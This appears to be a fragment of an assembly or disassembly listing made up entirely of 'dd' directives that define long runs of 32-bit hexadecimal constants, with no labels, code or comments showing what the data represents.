dd 64B830BEh, 1442542Eh, 74337103h, 2B09A0D9h, 0DFAB0075h
dd 0B2B9F4B7h, 46EA9FE8h, 86C0FCA8h, 16AE3500h, 0E7BA3EA8h
dd 0DAE00081h, 3451A7E1h, 0B271D236h, 15B14400h, 0DBD5AAEEh
dd 0E891F6h, 6F0738E0h, 0FA24419Eh, 444038F4h, 777D37FEh
dd 0D19200C6h, 39A1DBB3h, 0A42E540Bh, 0B40274BDh, 40FF7C3Ch
dd 2CA13A4h, 2CA16CE2h, 0B4A08ABAh, 0A509F855h, 4B0119FEh
dd 0E2C9BEA3h, 0FC32F6B3h, 1C0A3300h, 5067E470h, 94D30F00h
dd 6D1F2E7Dh, 909FEA1Eh, 1CC3257Eh, 0BB24A421h, 0D0CD3175h
dd 1890808Dh, 0CCACB47Ch, 0B480600h, 0A17770E6h, 4F890EFh
dd 2E31970Eh, 0FF78889Ah, 0B3980B01h, 1DDC853Ah, 9B41D0h
dd 5A11A625h, 0D219A0ECh, 6728E102h, 0C188D9ACh, 0A021F984h
dd 1A0E0FC0h, 282DCD53h, 0F3008046h, 0BDF69F64h, 0A0CF9C3Fh
dd 713E69A5h, 8F880016h, 937ABB20h, 3CB9EAD6h, 0AEC1FA87h
dd 0B82A13D3h, 9415B9h, 33BCBAC5h, 0FE569D7Ch, 37924D05h
dd 0CCCC6EBDh, 5DF90003h, 26ABD899h, 0A70A7294h, 987BCC77h
dd 0DDF31340h, 4AC403EAh, 0EEB1D591h, 98D084D0h, 3FFEA018h
dd 0B06C2329h, 1012E22Ch, 81BE5088h, 10ABF6A5h, 4C59E070h
dd 400524B0h, 8890C12Ch, 0A86B1BA0h, 646C9031h, 0C67A0793h
dd 8FA386E1h, 0D488D7C0h, 0D00189CAh, 977B4D46h, 0FC709E2Eh
dd 0C1A21279h, 1898302Ah, 1E00E4E9h, 0D07B71F0h, 3B921641h
dd 75AA35EBh, 0B6DF0580h, 0C6509F0Ch, 8526393Bh, 3D40A8C9h
dd 23ACFBAh, 3903135Ch, 2BE0F0B0h, 0F9D6457Bh, 26C29000h
dd 7828BCB9h, 13E0D302h, 0B141C28h, 0E800AB80h, 0D2908156h
dd 0FC00A0E0h, 9C867EF4h, 6B28B0Bh, 0AA106D3Fh, 27448861h
dd 0F28B98Dh, 0F520E10Bh, 0C6BFDC92h, 0A18BA204h, 81EE07C1h
dd 0D8FA15B7h, 13F69903h, 0F250498h, 30BCA306h, 7211F85Ah
dd 0B2430029h, 0E49E923Bh, 0D81DC8A6h, 0D2C087EAh, 470D7A4Bh
dd 0F1EDC0Bh, 24007B68h, 31639CBEh, 52F12F60h, 17DE6FAh
dd 2D184414h, 0FC02E8D6h, 82EEBA57h, 0B0AD2C2Eh, 23A33940h
dd 0A04B3E65h, 0CA628h, 0DB10A997h, 47115455h, 90B813Ch
dd 984BC1A0h, 2D4CEFDCh, 95DEADD2h, 0A600B01Dh, 0CD1AE12Ch
dd 8E521856h, 6D9251FDh, 94610B01h, 8F2D767Fh, 2E2A1DE8h
dd 397DF68h, 35E81B08h
dd 317CC8FCh, 0FED13E67h, 0ECC9E9A1h, 30D72C70h, 7B814C9Ah
dd 0F7000872h, 59F0D1F8h, 77C0FD2h, 660DDADDh, 5B630085h
dd 725C4BAAh, 67D89878h, 741C30D3h, 7C9CA061h, 8DF2081Fh
dd 8AEAB1F0h, 2114056Bh, 8CF74D0Bh, 561E84D4h, 7F8069A5h
dd 0AADFB91Ch, 1920E43h, 5C616B1Dh, 9AFABC2Ch, 20709149h
dd 0C990832Ch, 51205AFh, 0D06F4C2Dh, 89BCEC7Ch, 0D0E2A500h
dd 3E6AF6B0h, 0D27C09DAh, 0E8643CC6h, 900ACB06h, 151A880h
dd 0A912B86Eh, 0E85058F9h, 88620E71h, 2F3FD2E0h, 0C491B020h
dd 710085AAh, 0CD473804h, 0B98D0B9Dh, 10350B68h, 91D4A5Eh
dd 0A0D77CC0h, 587FED71h, 96021C70h, 0E389EE08h, 947C085Ah
dd 1CED5000h, 0DBEB98CAh, 24B000EEh, 0BD858DC2h, 670093F4h
dd 0D4DCA288h, 6D265h, 0A6A975C8h, 443191F3h, 0D6ADA1C0h
dd 856B2h, 9AD29CD8h, 0EC179327h, 7930C513h, 0B282D0D0h
dd 0F97F4Ch, 0FC2B99ABh, 7DB6DDEAh, 921B5001h, 0C72D0FA7h
dd 9DB2820h, 2A35D3CAh, 3480CC4Ah, 0C845F3F5h, 69CFE3Ch
dd 48F4A8A6h, 0D3B500D1h, 0D73E2D0h, 0F3009D0Fh, 18C1543Bh
dd 67F4860Ch, 943C499Bh, 9353C142h, 54ACD0B8h, 13D67407h
dd 80673AB5h, 0B132D430h, 80D09498h, 366B6DDAh, 0A8280AB4h
dd 0FF22D075h, 14995038h, 9C8D0135h, 0E34DF804h, 88C0203Ch
dd 18A0253Dh, 97312D7Ah, 0E1F4002Ah, 1DD6BD0Dh, 0A4FC6813h
dd 95B12F1Fh, 3A5B6440h, 60EFB2E9h, 0E1A8F86Fh, 9D28124Eh
dd 0BA0564C9h, 6EECB324h, 36FA81FAh, 2BA5D016h, 93FA3F00h
dd 0C38653E7h, 52C991Ah, 0D4F8AE23h, 718A2B0h, 0C673E0B2h
dd 0C321277h, 0C0DCC08Ah, 29E5FA63h, 3E07BE6h, 98F2115h
dd 0AAA0A1F3h, 17006D93h, 262B693Bh, 2ED83E9h, 5FFA6B1Eh
dd 0ECE0C60Dh, 6E05B5F6h, 68B62603h, 402023C5h, 0EECAD687h
dd 339D00D4h, 687DAE84h, 36059528h, 0EA6D4FAAh, 2805E885h
dd 5CC2E2BDh, 0B27FC0B4h, 30351B0Ah, 5EF09925h, 8F005C32h
dd 89564F15h, 978E12h, 1FA6A120h, 94F99CE6h, 9E5C9B58h
dd 20DDF5C0h, 0F9D29F19h, 0B894A3C0h, 72FC448Ch, 6B5D3100h
dd 446EFBC6h, 0F119C57Bh, 0C140C0A1h, 0B8020F1Ah, 8C139F1Bh
dd 4CF8C4C8h, 24035875h, 0D8F5F026h, 0E2A6C204h, 4CB2122Fh
dd 0A729910Ah, 22CC20D3h, 701E8AA0h, 0B1C0B234h, 0B7FA250h
dd 4F44F422h, 7AB44646h, 5800F92Ch, 8A63FC56h, 0B843BDFh
dd 349A8D08h, 0D411D018h, 0B0E7D202h, 0DB20C4A0h, 910A8018h
dd 148930E3h, 269D4502h, 6620794Eh, 0C3C6002Ch, 5E4B2A58h
dd 11001097h, 14991C3Fh, 3C3C7638h, 4488C9BCh, 2E83522Ah
dd 888ED0h, 4E0BFB41h, 14383E4Bh, 0C547B809h, 488801E8h
dd 898933A3h, 9468E388h, 65031203h, 833EFC16h, 8678A8FDh
dd 49D82626h, 70771506h, 53675001h, 3099A596h, 26039008h
dd 6F7D737Ah, 5634D0C9h, 85120553h, 3322B29Ch, 302692F0h
dd 6901ACFDh, 22FFC39Dh, 44129050h, 2F8A445h, 0AA5CB3DFh
dd 4C5298B2h, 9D161100h, 0F02AE9A7h, 91660979h, 7CE42C3Fh
dd 9C73905h, 6A80B218h, 0B704A64h, 105C444Eh, 0B0E8E484h
dd 0D015C34Ch, 22CC26EDh, 7920004Bh, 2FB4184Eh, 0FB07B32Dh
dd 0A180C288h, 0C6BCA040h, 0DD642E19h, 99D2017Ch, 2279137Dh
dd 0ED035E0Ch, 8852C5F2h, 32AB0A4h, 70090DE3h, 0D90045C9h
dd 0B43405E0h, 0F21D8Ah, 2FD4C72Ah, 14B75ECBh, 2CB60101h
dd 0ACC991FEh, 40889CF3h, 103900B5h, 0D44FC2EEh, 5000EC4Bh
dd 0AE224A88h, 12A2832Ah, 4E76C2Ch, 40A797A8h, 44E0C49Bh
dd 49506E0Ch, 890A59Fh, 9CB4483Bh, 84E39742h, 0C0A29090h
dd 0B23D9E00h, 7611EE36h, 0B346DA00h, 8B0750B9h, 0DCD30772h
dd 4C43170h, 0F24E2E4h, 0C7F41123h, 11EF50A8h, 1F7F7300h
dd 0DE3A1CD7h, 244BFE3Ch, 0C982E074h, 40905AE3h, 91F48710h
dd 0A2CB00ECh, 0DCA3A0ECh, 0C349C612h, 8A760830h, 88420E9Fh
dd 60E04CE4h, 87E9A412h, 0BC217F2Eh, 7C883F16h, 797D02h
dd 5875E38Bh, 720E0142h, 0F0DE390Eh, 5609C3h, 0D4146C14h
dd 0A2EEE0D6h, 48500A9Ch, 0F318CF0Ah, 0D5B46003h, 3F30027Fh
dd 0BAB7E61h, 0C89C30E0h, 0ECA01100h, 4C83F9D3h, 0C08D5CAAh
dd 0B02284Ch, 8E2B153Ah, 1E8F3454h, 521DA108h, 38C412FEh
dd 22C0B0CBh, 9902757Fh, 4F3290A0h, 3C5AC4h, 0B7395444h
dd 3AE89359h, 992388C4h, 1EA9F4A4h, 4F1B7B77h, 8B809512h
dd 2C024875h, 7820C14Ah, 0C568BBh, 76ED1B07h, 0A4A68901h
dd 0DF0DCB00h, 9ABFF2BDh, 942B4C95h, 9B1EC522h, 0D99952D2h
dd 3FED8FD0h, 84806C2Ch, 0CE4A0821h, 29BB9B1Dh, 999D0700h
dd 3A9E3h, 7827FD22h, 8544BF7h, 0EEA61000h, 3844CC53h
dd 50F1C599h, 217420B9h, 917CB5C0h, 1923BF35h, 88602CE3h
dd 10B160FCh, 39987F5Dh, 23290BF2h, 0FE886497h, 926C2E89h
dd 117663A0h, 989A8CD8h, 24290C00h, 697DC1A0h, 1177AA6h
dd 0C9480E75h, 0BE704906h, 0CA03012Ch, 0C8CCA020h, 978AB02Eh
dd 240F357Bh, 727D45D3h, 219DF420h, 19CD09BFh, 0C080B7F6h
dd 0C17DF80Ah, 94397CE8h, 0BBE998E4h, 17A15C0h, 7F03686Ch
dd 798FEA4Ah, 187D008Ch, 814E1FE6h, 0FF9100C7h, 3EB416Bh
dd 58147301h, 56D061F6h, 753870F8h, 7BFF0865h, 13A1199h
dd 316EA1BBh, 9CC06310h, 4D2305DCh, 0CCA261F8h, 70000494h
dd 33969A3Ah, 13A79BD3h, 2B5384Fh, 527CF438h, 0D1409456h
dd 0FA0107h, 9B537F06h, 6C142FCBh, 0FFC49903h, 0E883250Eh
dd 7450D0A5h, 2EE20512h, 5FC885F7h, 78054F38h, 5FE02A0Eh
dd 0FA8D4EF5h, 8EBF201Eh, 0D00014AAh, 6164C987h, 588A71h
dd 1D9BED21h, 0CDE77505h, 0EBA61B01h, 7A5E013Eh, 0DCE5AC40h
dd 22992D73h, 0AF6B9820h, 0CE0353BEh, 2A34E944h, 0C697FAA9h
dd 92B2C50h, 0F2BC60C4h, 7100D59Eh, 805B39FCh, 13DBF74Ch
dd 235A915h, 8D313295h, 0C900B0DAh, 4F3D9910h, 17CE913h
dd 0BCA7B3BDh, 2050AD04h, 0F70BE720h, 0FA089D3h, 0C409D15Ch
dd 8CC4FD58h, 0A053D900h, 0DB99B0DCh, 64F10719h, 609D85E3h
dd 3E229AE9h, 9EC68000h, 700FEEC4h, 0EFBF1E4Ah, 89E702BCh
dd 9240D135h, 2A73AF7Eh, 4A09827Ch, 81F77103h, 0EC1CA0F1h
dd 849A8064h, 2C4A680Eh, 0A18B601Eh, 5FD0B61h, 0ED99F7AEh
dd 16C0C07Eh, 0DB002A72h, 7DE43139h, 0B998A9A0h, 5D44000Ch
dd 9F11FF9Eh, 5C81370Fh, 13099Ch, 44E6C490h, 8B409E72h
dd 0C12A050h, 79051870h, 0B6A73A14h, 8FCB3881h, 0F22142F0h
dd 19492F8h, 0DC5253E6h, 6D7AAB76h, 366D07D4h, 275054E8h
dd 0F08F03CCh, 122E0052h, 3B317CDBh, 0C201B3BEh, 0EC71D7B0h
dd 4C386FCBh, 0C41E1F80h, 82F4778Ah, 1943D000h, 1427721Ch
dd 0AD0B2C16h, 90122DB1h, 11018C52h, 75EBABC1h, 0C980209Ah
dd 0D0525CFCh, 5534868Ch, 548CF054h, 7314AC9h, 167A47A5h
dd 32CC128h, 2D00DB87h, 0EB5495E9h, 59550082h, 0C16056BCh
dd 226A01Bh, 230114C7h, 9EF3A70Dh, 2590CDC0h, 0C8241AC3h
dd 0BE90C899h, 0F4F59AFAh, 650FE1Dh, 0D4015C0Ch, 9FF966E0h
dd 0E420BF48h, 0C084952Ah, 1770C023h, 86607383h, 71E57860h
dd 7E34007Bh, 472BA562h, 602C4E6Ah, 903C48D3h, 9853FC91h
dd 0A0E2B207h, 17894065h, 0B30018CBh, 74164F92h, 50E497DEh
dd 137FD277h, 908EDC6Ch
dd 899AA6F8h, 0BFA22B00h, 928739BAh, 10AF16B7h, 90B00AA8h
dd 0A8523C91h, 20319117h, 758E2ABCh, 27194B00h, 9C677C6Bh
dd 55B60912h, 8C70D671h, 0B1B3CC02h, 52317DA9h, 926A00C8h
dd 8F411635h, 0DC00612Ch, 13A1C85Ch, 488A1BA6h, 3C50D350h
dd 245E06EEh, 81D38D12h, 1ABE6E00h, 0F95BD72Eh, 69DB00C1h
dd 98CFE23Bh, 3F05A7D0h, 0D3A0381Bh, 0F2F53840h, 160A29h
dd 61EDE78Bh, 0F8D2180Fh, 0FF334C02h, 0EE6B6714h, 94B22DD0h
dd 62407C00h, 2A359185h, 0A0080811h, 11A0A62Dh, 59031E8Ah
dd 0B420F4D2h, 34BBBB9h, 89E67330h, 0A680E739h, 5DE2D7C3h
dd 5821445Fh, 0EF2161D5h, 8B288740h, 9BE00062h, 21BBEFAAh
dd 0D212D95Dh, 4809BAD0h, 0D1C1h, 611A0FCBh, 53002FD7h
dd 9C4B3183h, 426F2F3h, 571FCF52h, 218080ACh, 0E0E2A094h
dd 31C7C311h, 0C9359918h, 0A005B08h, 6C3BF7B8h, 1CCA74AFh
dd 4068BEEDh, 7113C950h, 0FD26E455h, 0CB08DCADh, 0B9B80C5h
dd 58C3E36Ch, 0C9850913h, 0F7918A4h, 0EE234DD8h, 0FB13CEE0h
dd 0AE608E1Dh, 0B76AB639h, 0CC641E7Fh, 0E2FFC0C5h, 8DD98136h
dd 96760A1Ch, 97EB0D01h, 1EE8B3A5h, 0A7DB00A2h, 4816313Ch
dd 1B00B2A6h, 0A0EE2750h, 2DF9919Fh, 5C238E28h, 21E851DCh
dd 27246637h, 0B2007CE9h, 1D7948FFh, 43C94FA4h, 7EE42608h
dd 4D78FB90h, 7D397200h, 0A6D5CFF5h, 0C4C308F8h, 902738D4h
dd 2E5B37E4h, 0B4E8ADh, 435C466h, 0BA000D0Bh, 0F187DE57h
dd 907F199Bh, 0D0432620h, 701C3C6Ch, 0A4930225h, 97C0D9C6h
dd 6E01A2BAh, 0BC5C4461h, 403B8E2Ch, 7D8B05C0h, 90F40389h
dd 443CD326h, 0FAC6D702h, 0FCE498h, 2247D02Eh, 60BA99A4h
dd 4CDA4500h, 5618FEE1h, 6123050Fh, 0F2853449h, 0BA0900D0h
dd 6A6EC7ECh, 3822013Ch, 576F5EC0h, 0E498D0DCh, 9CD40601h
dd 14B4232Ah, 33E702Ch, 83E034A9h, 4170CCA9h, 0CE40F5F8h
dd 8A0EF100h, 6BDA18AAh, 2AA70C57h, 9EA92E9Ah, 1D361900h
dd 0A6C75FD9h, 508416E0h, 858020BFh, 0A0B6F5C3h, 0D1E3B180h
dd 90AB8B2Ch, 3DA722B8h, 80D08D5Ch, 0E64FD3F4h, 5F4E0036h
dd 0B804E270h, 0AE035B6Ah, 6040019Ch, 2010E8E9h, 9CC9E04Fh
dd 24B83B8h, 0BFE89C35h, 3100E3BEh, 3C192A18h, 21BA0C9h
dd 0C1B099D1h, 0BCC1DFD3h, 8704DC66h, 3EFA505h, 54B4D0C3h
dd 65D42C6Fh, 208D13F0h, 0AC8EF5A8h, 0E98FD00h, 13D96476h
dd 61C709B3h, 84AC450h, 0E01908C0h, 2E834417h, 904C5088h
dd 12DC004Eh, 662DB68Bh, 1100DDB3h, 0BD616927h, 4AA23BA0h
dd 45CD09Bh, 540EF852h, 31AA736h, 98EFF66Eh, 121F7FAEh
dd 90F4DB2Ch, 0A53A698Ch, 605C9700h, 6B56B61Dh, 0A394003Eh
dd 0D3E3B04Bh, 9A200CD7h, 1C2C758Fh, 667028h, 0D29BDA9Eh
dd 5215C4E2h, 803D31h, 551788B8h, 7BCB376h, 6FBAFA86h
dd 6EE37250h, 3BB41460h, 0C90794Fh, 1E46D217h, 0F96DC283h
dd 0DE719D80h, 6050C45Ch, 0E5BB1B00h, 35E9B299h, 0BE80BC45h
dd 704B9F02h, 9B0B32FCh, 8404B0ACh, 70F7481Dh, 920D7CC0h
dd 3500D8D6h, 5A8D0633h, 2750118Ch, 8468A023h, 8499C6C4h
dd 125C7030h, 0F030760h, 207E707Ah, 72EEF3EBh, 0C422B513h
dd 0D2622C20h, 412C1EFAh, 27D52ACh, 92E8F000h, 0E60038C6h
dd 0F964CBB6h, 0B00F8EE7h, 907B2402h, 99E300A4h, 5BC9A7EAh
dd 0C7B6AB07h, 83719F37h, 187298C0h, 0EFC6E600h, 2B2F0F15h
dd 0BFAB204h, 0A889A547h, 1181C2Eh, 20AE530Eh, 0E6108486h
dd 0CCE9F519h, 0CB683503h, 66F0CD2Dh, 0B107D7BFh, 2BED2CF6h
dd 114A92E0h, 0FC625C5Dh, 82B96101h, 87A18E36h, 30630CE9h
dd 0E0A58420h, 0FD6801ACh, 20BFDD58h, 7B7CCC81h, 5C624Ch
dd 5551D622h, 521C3923h, 8303D4CAh, 8C3AEA0Eh, 6C2157B0h
dd 3CBC6D51h, 369A8400h, 0F77C540h, 0EE00A029h, 0A91EA93h
dd 2450EDB9h, 90DCC2Bh, 2801DDC4h, 102D7BEFh, 0FA778Ch
dd 5E355043h, 0CE0CB30Eh, 0D9ED7200h, 5D57C49Ch, 2FE37B09h
dd 9C20C11Eh, 6266B228h, 0F82B48h, 0C63C0D0Eh, 70A3ED6Ah
dd 0D14A0B6Bh, 48896E7Bh, 301F0C61h, 0B20141E4h, 2C74A6F5h
dd 22DC9256h, 8F64B6A3h, 0BC864D7Fh, 914C118Bh, 289E3E1Fh
dd 0C70BB410h, 409450AAh, 0EED8BC60h, 71F2000Bh, 9646510Fh
dd 98B64E7Eh, 0DD4F1940h, 0D2942C54h, 7BCF04FCh, 6A42402Ch
dd 3EC0A809h, 0CB00D853h, 0A6D0EA90h, 0C3E1C30Ch, 2B7AD7E1h
dd 47ACB847h, 5B4D5531h, 46E0930h, 0BE95B412h, 0E01C8293h
dd 500060D9h, 0A3201F4Bh, 5C0E7684h, 0D280687Eh, 0BF026BFBh
dd 0CEA67409h, 95E50555h, 7098D4C0h, 7AB30463h, 0C075BF12h
dd 0C6259770h, 0A257F0C0h, 6FA6C8E4h, 4409709Fh, 6C077051h
dd 0D0FA7DE9h, 3C1BBC40h, 871D01D2h, 0B9A48B71h, 0F7A77030h
dd 98985C2Fh, 346AA2Ch, 84F96DF0h, 0E8E8A7A1h, 5B1FAD35h
dd 6245D2CBh, 988CB2F8h, 0E35F1D97h, 126A4061h, 0FB535617h
dd 0DA68DD0Eh, 81838236h, 0E07CC22Bh, 753E545Ch, 0E8F6F4A1h
dd 0B98F00B2h, 0D27CD86Dh, 254B43D1h, 953098h, 0DDD93A8Dh
dd 71159C6Dh, 70CA1401h, 0C77CB3A7h, 663FB542h, 807400F8h
dd 0A538478h, 0D139E421h, 0FF4600AFh, 7D933512h, 807C96E3h
dd 81B81AE0h, 1C12E95Fh, 3CC81970h, 63F00369h, 386D48FEh
dd 0DC1C6CD9h, 102EF691h, 0C30F909Ah, 0ACE2B2E8h, 0BF2FE003h
dd 880DD8Eh, 457CF3D8h, 4A4C124h, 4B5E7184h, 0BEF7F080h
dd 3C60E577h, 9BC882Eh, 0FD43B803h, 7CBF4805h, 997D1359h
dd 0F82431h, 0B1050C9Ah, 0E41DEC44h, 0E9807429h, 524647B0h
dd 32D302FDh, 0D259B2DEh, 6A0E8E0h, 8FE7C2Eh, 13AA23Ch
dd 0E6CC5E34h, 28603E8Dh, 8113839Ch, 4542D80Dh, 730900BAh
dd 102BB6E8h, 0CD58BFB3h, 21C00B0h, 0F49EF6BCh, 48AD4870h
dd 2FD65200h, 605BA199h, 0AB009FF0h, 0A64C8359h, 7A280947h
dd 0B85027ACh, 5303B020h, 5F2704BDh, 23201060h, 0F05802B6h
dd 0FD264AA6h, 3C81B9E0h, 1C6F2105h, 20009973h, 0C9E86D19h
dd 985E7Bh, 4B2D24DCh, 498AD68h, 1C20874Bh, 4C2AC79h, 4427A26Ah
dd 0C108AC7Dh, 0D2E38F0Ch, 9804D2CEh, 5C38000Ch, 0D66B83F4h
dd 58985FC6h, 208D7F4Bh, 31BC70E1h, 0CB115C4Ch, 0BC720EFBh
dd 802EE41Ch, 42AC8CCh, 0A4DE192Bh, 0D249805Ch, 0C4185EBEh
dd 0AC888372h, 98B5244Fh, 4D314064h, 85002DCFh, 83451E5Dh
dd 97F4644h, 0C2D29DF4h, 0B819A485h, 4BB3DD8h, 1E0F544Bh
dd 512814C0h, 2DA070D8h, 0ACC486E6h, 7D82FA01h, 4E45072Ch
dd 7A201DCh, 0B0C753CEh, 82A444E5h, 2C60E618h, 3F2F7FE0h
dd 0B3B48211h, 0FF8FC05Bh, 8CE904A5h, 0F3D2E843h, 9C214B7Ch
dd 7ED8ED2Dh, 158B00A1h, 0A9BCD08Eh, 4300D8C1h, 824F6B55h
dd 0A47035DCh, 6A5804A8h, 88C9D6D4h, 93972374h, 0F7808450h
dd 9131FEFFh, 584B0F14h, 0F7677D00h, 59001A7Fh, 0D0A1CEF9h
dd 1DE4E37Ch, 8205FB54h, 0D95BD457h, 1A40B056h, 1E195A6h
dd 0FE85622Ah, 72F5C452h, 2ECA00C0h, 367CDEDh, 0C08C0539h
dd 9E8D276h, 10909A4Ch, 0D7037004h, 338AC029h, 0F5D3B92Dh
dd 24006429h, 55D2E4A0h, 22027F0Bh, 0B46FD8C8h, 7DC44044h
dd 40118931h, 0D7CA47D8h, 0FC0058F8h, 53F7AA50h, 4849E491h
dd 8E8908BBh, 0D960D8C8h, 26CB961Ch, 0A7B3B6C0h, 6EDC71h
dd 0A611559Dh
dd 474377F3h, 0B19C7800h, 90397210h, 3C6700DDh, 0DBC8A624h
dd 3A160FE8h, 7CE263C3h, 9E24205Ah, 50381F1Ch, 0CFA193EBh
dd 89C2E00Ch, 18164825h, 0EA6C8F02h, 0F05E8D0Ah, 0E8290B85h
dd 0EB07F51Eh, 0D70107F6h, 830979Ch, 829904CBh, 836CDB84h
dd 45C7E0D0h, 0CB6CA8B2h, 0E04427h, 0BFAD722Dh, 0A8A72E3Fh
dd 7600AAEEh, 0DE1310AEh, 1ECF592h, 8AE31A3Ah, 0E03B33BCh
dd 86005126h, 8C4A7A97h, 0A29DAh, 0AF2AC34Bh, 361732BBh
dd 426BBE07h, 0EA302860h, 60DA714Eh, 9B592952h, 900567Bh
dd 0D48611EBh, 4057E1h, 84CC7965h, 0CA3F89AEh, 7CEE8CE8h
dd 5094F406h, 4127DAh, 4F9A3DBCh, 394369EAh, 0E4892607h
dd 2CA01A90h, 3670C7h, 0E2EC6AD6h, 0A2FC33Ch, 0D09E8500h
dd 0BBA49283h, 0BD9101D8h, 0FD056A2Ch, 5807CF4Eh, 3308B32Fh
dd 8000605h, 1FA1E50Eh, 0CDCC1B02h, 72C8180Bh, 100636CEh
dd 0F4893C99h, 2C770099h, 0B3581D62h, 0F0142E2h, 8683D6B1h
dd 0A0F7CD61h, 0E40753Bh, 0DC9AA80Dh, 684AB106h, 0FDB2070Ah
dd 63008DA4h, 75EB48D4h, 798F011h, 0FB511A21h, 90FDD10Eh
dd 7100E7DFh, 0BE31DB5h, 78B83828h, 73E500DAh, 5CE93E6Bh
dd 8907E1C7h, 0FED53087h, 6001DF65h, 0CC1F9188h, 643C88FFh
dd 3BB23B60h, 4259F1B1h, 977CF03Ah, 0FB4E39h, 3E104CA8h
dd 50BD7917h, 34BA808h, 0BC94A67Fh, 0D8F1B620h, 5CD840B9h
dd 8B039E0Eh, 42D24798h, 1F318EF3h, 0B9947379h, 40E4A99Fh
dd 782915BAh, 8A120297h, 10277D3Ch, 2FA90Ch, 58B2E49Eh
dd 7022B385h, 0D03EFE03h, 0C082FCE6h, 0A84E8326h, 0F4275F0h
dd 0EC8D012Dh, 0FD410F4Ch, 9240E306h, 293D5Eh, 9A96F266h
dd 0C551A3BEh, 5CE8700h, 0B5B398Ah, 3870A878h, 0CAA90017h
dd 888D09B2h, 850021EFh, 0D94A1FE4h, 2BEC42h, 0CB5F4CB4h
dd 6E83BC5Ah, 50652C00h, 0CC7196FBh, 0C3B80049h, 77F66C10h
dd 3C0756C8h, 5A90F247h, 0DFD95F60h, 306BFAFDh, 7B4963B4h
dd 5D00EB7Eh, 8674E488h, 0F10BDE80h, 37C2BBD0h, 0F7295CD6h
dd 37AE134Ah, 5052CA37h, 0B3FEF2C0h, 0F94D00CEh, 0D96C094h
dd 7DE40608h, 3B7EDC06h, 30382BE3h, 9E085688h, 0A20044BDh
dd 0C81B2246h, 1959D2FAh, 6871DD2Ah, 5880F656h, 2847DB08h
dd 99D5E61Fh, 0DE2981C7h, 0C31114EAh, 97C6AB00h, 8A7D3910h
dd 0B3B25D1Fh, 0B480B975h, 1AC068D5h, 0B956EA6Fh, 2E40528Eh
dd 93138096h, 0D634DB0Eh, 4625A360h, 0B3590BC5h, 0C100DE15h
dd 40AEF8EAh, 0FE4FE48h, 0A17CE646h, 6FBBDF3Ah, 599858C5h
dd 9B6C88D9h, 7A04A4A0h, 46B95507h, 6691DB19h, 998048B4h
dd 0C97F24F6h, 7CE49EE5h, 13143605h, 0B900A882h, 0CB819ADBh
dd 29D4A4A9h, 268C1547h, 7D931D0Ch, 44D50301h, 0DD51D78Eh
dd 522180C7h, 7557A253h, 0B6880079h, 0B8460ACDh, 50ECD502h
dd 6934A305h, 8400AC37h, 48B9DF3Eh, 29A8A4DDh, 0CFCAEC2h
dd 470BEF6h, 0B2A5010Ch, 0DE195Eh, 0B0FE2761h, 7EB4735h
dd 0EE0012F0h, 0EFE30D0Bh, 76ADCA4Eh, 0C4B0030h, 0B7C905B3h
dd 0DF0B8EDAh, 1077A44h, 43F63132h, 0CFF13C40h, 1263EC8Bh
dd 1FB9B3E1h, 0B77A2240h, 65DD1004h, 848C2467h, 411C07B1h
dd 0CFC2B572h, 8D34EAh, 0F263644Ah, 0F00FEE55h, 92D528D0h
dd 25DF1C4Fh, 0E40EF5F7h, 0EF4386E9h, 0A6780081h, 7322D625h
dd 0ED025534h, 0CB4B038Fh, 758446D2h, 0DA2A1850h, 44705167h
dd 2055E131h, 298046B3h, 64455085h, 6B0120E9h, 3C9890C4h
dd 5A30F71Fh, 65B10166h, 0AB97A112h, 4C229Ch, 6482C296h
dd 3D2B7D5h, 0B878B544h, 2100289Ch, 41D3585Ch, 8FDCCFh
dd 6097D84Eh, 89D6628Eh, 0E4297E0Ch, 694699BFh, 5E80D9CAh
dd 8A2C0206h, 1320FA1Ch, 8BE211C0h, 98B6C9DAh, 0E547442Ch
dd 70C2C100h, 4666B3C7h, 691D0703h, 44DA47D8h, 0AD10935Bh
dd 70F541A4h, 0F82002FAh, 0E42819A9h, 8478158h, 347BDDh
dd 0FF100D24h, 0E1651E32h, 483F62EEh, 0F8D38141h, 55437091h
dd 8EAD5980h, 669C2CDEh, 0D69F3924h, 29840D1Eh, 82552Fh
dd 88D8204Fh, 4E03025Eh, 7675A427h, 697D9826h, 17FF1F3Eh
dd 0C481BC09h, 0B3252EE4h, 0A3398045h, 81E21F50h, 51BC011Bh
dd 5484AE6Eh, 0FDD3FC8Dh, 9ABBE80Ah, 3E0034B3h, 0ABE98AADh
dd 9F9D0355h, 5E30620Eh, 67C0B0EFh, 0A6077D88h, 0FA65B8D3h
dd 43138C6Ah, 49860C30h, 0FCF4155Ch, 42079066h, 477EDABFh
dd 0DF11D0B6h, 9C061AA2h, 60B284F2h, 1B814879h, 62DB6E04h
dd 6A8857Ah, 2149B335h, 6678C800h, 8F3F9563h, 30E702F3h
dd 3ABFA754h, 2818E760h, 134BE101h, 5BA33C61h, 884C5424h
dd 0FC007FAAh, 3FD727A6h, 62304Eh, 8A5077EFh, 60796152h
dd 0D53B9C00h, 7FE34947h, 73FD14DEh, 1D1EFCDAh, 95D2007Dh
dd 3602DC35h, 22FDh, 0F2131237h, 0A4B475A7h, 10E900BCh
dd 0ED216C6Fh, 0D763568Dh, 0D0E152F4h, 5CD53124h, 8016C543h
dd 0FD880615h, 89005160h, 8A11C1D7h, 0F4BD50h, 4F689D22h
dd 0D6649C6Fh, 0E3463D0Fh, 560CC7ECh, 0C3BFE1B0h, 0CE5401EAh
dd 9D17E44Bh, 13B42253h, 0B700528Fh, 8B36762Eh, 88700710h
dd 1DBDC22h, 806DFDC9h, 0CA7CB579h, 0EC0B18F8h, 2E1A28DCh
dd 4B0807E6h, 7FEBA5E5h, 0B3728C62h, 4A365040h, 0D1186A90h
dd 15712A9Ch, 66CD00B2h, 0BAAD4076h, 5400244Bh, 9236F983h
dd 39472FC1h, 68C0BE0h, 1E48B257h, 415B9D30h, 1C02807h
dd 0BDD90F82h, 0C408380Dh, 0FE52690Bh, 0B67200B8h, 0BD52B30Eh
dd 0DBB80003h, 833B8EABh, 0E4332A4Fh, 0A722295Eh, 42FE9h
dd 361129D6h, 0E161380h, 448C0050h, 4A238241h, 3B96DC19h
dd 6EECD7D8h, 0C800764h, 0F0E3F959h, 8415AE12h, 80C4273Dh
dd 80958E9Dh, 60B305DCh, 0B013615Dh, 0BE06191Eh, 64AFCAF6h
dd 0DC471689h, 0C3682097h, 10B89308h, 2DEEB0Eh, 0BADD008Dh
dd 0E33D3330h, 7EE70C20h, 69477282h, 440839BCh, 2783064h
